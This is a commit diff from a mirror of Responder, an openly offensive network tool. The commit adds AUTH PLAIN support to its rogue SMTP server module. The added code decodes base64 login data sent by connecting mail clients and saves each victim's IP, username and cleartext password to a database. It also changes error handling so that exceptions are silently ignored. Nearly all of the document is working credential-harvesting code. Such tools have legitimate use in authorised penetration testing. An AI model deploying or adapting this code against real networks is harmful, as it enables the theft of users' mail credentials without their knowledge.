mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-30 03:28:45 -07:00
added support for plain auth
This commit is contained in:
parent
679cf65cff
commit
207b0d455c
1 changed files with 36 additions and 19 deletions
|
@ -26,11 +26,27 @@ class ESMTP(BaseRequestHandler):
|
|||
self.request.send(str(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "EHLO":
|
||||
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "AUTH":
|
||||
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
|
||||
if AuthPlain:
|
||||
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
|
||||
Username = User[0]
|
||||
Password = User[1]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
else:
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
@ -59,4 +75,5 @@ class ESMTP(BaseRequestHandler):
|
|||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
pass
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue